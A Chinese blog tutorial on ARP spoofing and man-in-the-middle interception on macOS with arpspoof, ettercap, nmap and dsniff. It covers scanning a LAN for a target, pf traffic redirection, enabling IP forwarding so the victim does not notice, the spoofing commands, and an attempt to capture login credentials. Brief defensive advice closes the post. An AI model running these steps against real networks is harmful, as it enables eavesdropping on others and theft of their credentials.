欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

程序员文章站 2022-07-16 21:23:14
...

       最近在油管上看到一个Hacker攻击的技巧视频,于是乎这几天苦于钻研,总算摸出点门道,把学到的知识写下来以作记录。kali Linux是Hacker常用的操作系统,本人在mac上尝试实施。

       mac 下准备

  1. 安装 macports (macports官网)
  2. 更新 macports , sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装libtiff ,brew install libtiff

  5. 安装gtk+3 ,  brew install gtk+3

  6. 安装ettercap, brew install ettercap --with-gtk+

  7. 安装 nmap brew install nmap 

 

1.1 什么是网关

        借用网上的定义,这篇文章介绍的很详细,http://netsecurity.51cto.com/art/201303/386031.htm首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。

1.2 ARP协议是什么

          ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。

假设A(192.168.0.100)与B(192.168.0.101)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.0.1),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。

1.3 正常情况下主机通过路由器上网的原理

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

如上图, 我们以 主机 A  ping 8.8.8.8 为例:

  1. 主机 A 上执行 ping 8.8.8.8
  2. 主机 A 准备根据默认路由将数据包发送给 192.168.0.1, 但是最开始的时候主机 A 不知道 192.168.0.1 的 Mac 地址, 所以主机 A 广播一条 ARP Request, 询问 192.168.0.1 的 Mac 地址是什么
  3. 路由器收到该 ARP 请求, 发现自己是 192.168.0.1 于是向主机 A 回复一条 ARP Reply, 告诉主机 A 192.168.0.1 的 Mac 地址是 xxxGW.
  4. 主机 A 收到该 ARP Reply, 并使用该 Reply 中的 MAC 地址封一个 ICMP Request 包, 然后将包发出去
  5. 路由器收到该 ICMP 包, 发现目标 IP 是公网 IP, 便将该包放送到公网, 公网返回 ICMP Reply 给路由器
  6. 路由器准备将 ICMP Reply 发送给 192.168.0.100, 但是同第2步, 路由器最开始的时候也不知道 192.168.0.100 的 Mac 地址是多少, 所以路由器会广播一条 ARP Request, 询问 192.168.0.100 的 Mac 地址是什么
  7. 主机 A 收到 ARP Request, 发现自己是 192.168.0.100, 于是向路由器回复 ARP Reply, 告诉路由器 192.168.0.100的 Mac 地址是 xxxA.
  8. 路由器收到 ARP Reply, 并使用该 Reply 中的 MAC 地址将第5步收到 ICMP Reply 包重新封包, 并发送出去
  9. 主机 A 收到 ICMP Reply

    至此,正常的上网过程结束。

1.4 ARP欺骗原理

 

  1. 如果主机 B 无脑的向主机 A 发送 ARP Reply, 告诉 A 192.168.0.1 的 MAC 是 xxxB, 会发生什么?
  2. 如果主机 B 无脑的向路由器 GW 发送 ARP Reply, 告诉 GW 192.168.0.100 的 MAC 是 xxxB, 会发生什么?

       上面提到过了ARP缓存表,在每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。

       假设主机 A 192.168.1.100,B 192.168.1.101,C 192.168.1.102; 网关 G 192.168.0.1; 在同一局域网,主机A和B通过网关G相互通信,就好比A和B两个人写信,由邮递员G送信,C永远都不会知道A和B之间说了些什么话。但是并不是想象中的那么安全,在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。

这样C就有了偷听A和B的谈话的可能,继续思考上面的例子:

C假扮邮递员,首先要告诉A说:“我就是邮递员” (C主机向A发送构造好的返回包,源IP为G 192.168.1.1,源MAC为C自己的MAC地址),愚蠢的A很轻易的相信了,直接把“C是邮递员”这个信息记在了脑子里;

C再假扮A,告诉邮递员:“我就是A” (C向网关G发送构造好的返回包,源IP为A 192.168.1.2,源MAC地址为自己的MAC地址),智商捉急的邮递员想都没想就相信了,以后就把B的来信送给了C,C当然就可以知道A和B之间聊了些什么

上面ABCG的故事就是ARP双向欺骗的原理了

ARP单向欺骗就更好理解了,C只向A发送一个返回包,告诉A:G 192.168.0.1 的MAC地址为 5c-63-bf-79-1d-fa(一个错误的mac地址),A把这个信息记录在了缓存表中,而G的缓存表不变,也就是说,A把数据包给了C,而G的包还是给A,这样就是ARP单向欺骗了。

1.5 ARP欺骗实战

搜索目标

          首先,开启网卡,这是一切操作的基础,让本机拥有网卡功能,后期出现bug有可能是网卡未开启的原因。

sudo chmod 777 /dev/bpf*

          查看目标主机的ARP缓存记录的网关IP以及mac地址,可见网关开启在en0端口。

arp -a

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

   命令行输入 ifconfig查看本机IP。

   使用 ping 方式扫描,192.168.31.1/24”表示扫描"192.168.31.1-192.168.1.254"这个网段的所有机器。

   

nmap -sP 192.168.31.1/24

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

       经过扫描,可以看到所有处在此局域网的所有机器,192.168.31.1是网关,192.168.31.84是本机IP,192.168.31.70设定为目标IP。

开启端口转发

 

mac 下 (修改 mac 的packet filter包过滤器):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    8080是程序监听的端口号

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样:

    #
    # com.apple anchor point
    #
    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
    
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

 

开启IP转发

       在进行arp欺骗之前必须要开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网,这样会被对方察觉。

mac 下:

sudo sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

     查看本机IP转发情况:

sudo sysctl -a | grep forward

 

另外,确保已经安装好macports

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

ARP欺骗

假设被攻击的 IP 是 192.168.31.70,局域网的网关是 192.168.31.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下:

# arpspoof -i en0 -t (目标IP) (网关IP)
arpspoof -i en0 -t 192.168.31.70 192.168.31.1

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

    如图,攻击者向目标IP192.168.31.70发送返回包,包含内容:

源ip:192.168.31.1

源MAC:20:c9:d0:79:2b:17

        此时再查看目标主机的网关和IP地址,可以看出目标主机arp缓存已经发生了变化,在缓存表中所记录的网关(192.168.31.1)的MAC已经变为了攻击者的MAC

ettercap截获流量

        首先确保完成前三步骤,搜寻目标、端口转发、IP转发,然后命令行开启ettercap的图形窗口:

sudo ettercap -G

       选择网卡端口en0,  Sniff------Unified Sniffing

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

Hosts-----Scan for  hosts,在Host List中添加目标主机IP到Target 2,添加网关IP到Target 1。这里需要说一下,一些资料说Target 1要添加网关IP,众说纷纭,但在我本机测试,我选择Target 2。

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

Mitm----ARP Poising---

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

Start ----Sniffing

         正常在这里,目标机进行登录事件,我这里会截获USER和PASSWOED,但是始终不成功,还未找到原因在哪。

ARP欺骗的危害

             局域网之间主机通信会收到影响,如果是网关欺骗,上互联网也会受影响,黑客利用ARP欺骗可以窃取用户敏感信息、挂木马等,在这里我简单演示一下ARP欺骗嗅探Telnet账户密码。command+N开启新的命令行

            dsniff需要创建原始套接字,因此需要超级用户权限。用sudo运行它

NO.23——MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击

怎样防范ARP欺骗

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙